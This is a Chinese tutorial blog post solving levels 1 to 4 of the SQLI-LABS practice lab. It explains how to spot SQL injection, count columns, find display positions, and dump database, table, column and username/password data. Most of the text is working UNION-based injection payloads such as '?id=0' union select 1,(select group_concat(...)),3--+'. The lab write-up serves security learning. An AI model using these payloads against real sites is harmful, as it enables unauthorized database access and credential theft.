SQLI-LABS(二)(1~4)

SQLI-LABS(二)

前四关流程:
1、判断是否存在sql注入漏洞
2、使用order by 查看列数
3、使用联合查询判断回显位置
4、在回显位置处注入sql语句进行查询

我们可以在sql文件中每一关文件中的index.php中写入代码
echo $sql;
echo “< br >”;
以方便做题时查看sql语句;

Less-1:

1、判断:

?id=1'

在这里插入图片描述
出现报错,证明存在sql漏洞

sql语句: SELECT * FROM users WHERE id='1'' LIMIT 0,1;
报错信息:''1'' LIMIT 0,1',将包围报错信息的单引号去掉,为 '1'' LIMIT 0,1
知为 字符型注入,并且以'闭合参数;
注意:
报错信息会用 '' 包围,引号中即为语句错误的开始之处,也就是说,没有报错的语句(不在引号之内的)都是正确的

2、判断列数:

由于是字符型注入,而且我们输入的?id=1'已经将1闭合,所以我们需要将原本存在的那个闭合1右边的单引号去掉,可以通过使用 注释 将后面的那个单引号注释掉,从而使之为一条正确的语句。这样我们在已经闭合的1后面就可以进行一些sql注入了。
?id=1' order by x--+   
(其中x输入数字代表哪一列,使用二分法缩小范围,x之后是两个减号与加号,代表注释),本题查询为列有123


在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

得知该表共存在三列,

3、判断回显位置:

从上面可以看出:当语句正确时,会有两个回显,而总共有三列,所以我们需要判断回显位置,便于之后sql注入查询

从第二步中可以看出(或者可以直接从我们的sql语句中看出,limit 0,1,只会显示出第一条数据)
所以我们进行联合查询判断回显位置时,需要将之前的sql语句变为不执行的状态,这样它才会显示出union select 123--+
执行的结果,才会判断出会先位置

方法:
?id=-1'
?id=0'
?id=1' and 1=2
方法:使用联合查询
?id=0' union select 1,2,3--+     
本题判断回显位置为2和3的位置处(之后的注入语句均在这两个位置上,即替换2和3);

有时候也可使用:
?id=0' union select null,null,null--+ 

在这里插入图片描述

4、查询数据库:

?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+

在这里插入图片描述

5、查询某一个库(以security为例)中的表名

?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

在这里插入图片描述

6、查security中users中的列:

?id=0' union select 1,(select group_concat(column_name) from information_schema.collumns where table_name='users'),3--+

在这里插入图片描述

7、具体查users中的username和password:

?id=0' union select 1,(select group_concat(concat_ws('~',username,password))from security.users),3--+

在这里插入图片描述
常用函数:

system_user()
user()
current_user()
databases()
version()
@@datadir       查看安装路径
@@version_compile_os       查看操作系统
group_concat()   将所有数据拼接为一行进行显示  只可limit 0,1
concat_ws('~',A,B)     A,B为想要查看的内容,此函数表示将数据A与B用~对应起来

语句分析:
1、select * from users limit x,y;
–> x,y均为数字,其中x表示从第x+1个开始列出, y表示显示几个数据
2、select * from users where id=x;
–>x为数字,表示显示id为x的数据
3、select * from users order by x;
–>x为数字,表示数据按照第x列顺序排出(数字顺序/字母顺序)

Less-2:

1、判断:

?id=1'

在这里插入图片描述
出现报错,证明存在sql漏洞

sql语句:SELECT * FROM users WHERE id=1' LIMIT 0,1;
报错信息:'' LIMIT 0,1',将包围报错信息的单引号去掉,为 ' LIMIT 0,1
知为 数字型注入

之后的操作只需将第一关中的 单引号 和 之后的注释 去掉即可

Less-3:

1、判断:

?id=1'

在这里插入图片描述
出现报错,证明存在sql漏洞

sql语句:SELECT * FROM users WHERE id=('1'') LIMIT 0,1;
报错信息:''1'') LIMIT 0,1',将包围报错信息的单引号去掉,为 '1'') LIMIT 0,1
知为 字符型注入,并且以 ') 闭合

之后的操作只需将第一关中的单引号改为 ') 即可

Less-4:

1、判断:

?id=1'

在这里插入图片描述
没有报错,经过不断的尝试,发现

?id=1"     (此处是双引号)

在这里插入图片描述
出现报错,证明存在sql漏洞

sql语句:SELECT * FROM users WHERE id=("1"") LIMIT 0,1;
报错信息: '"1"") LIMIT 0,1',将包围报错信息的单引号去掉,为 "1"") LIMIT 0,1
知为 字符型注入,并且以 ") 闭合

之后的操作只需将第一关中单引号改为 ") 即可

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值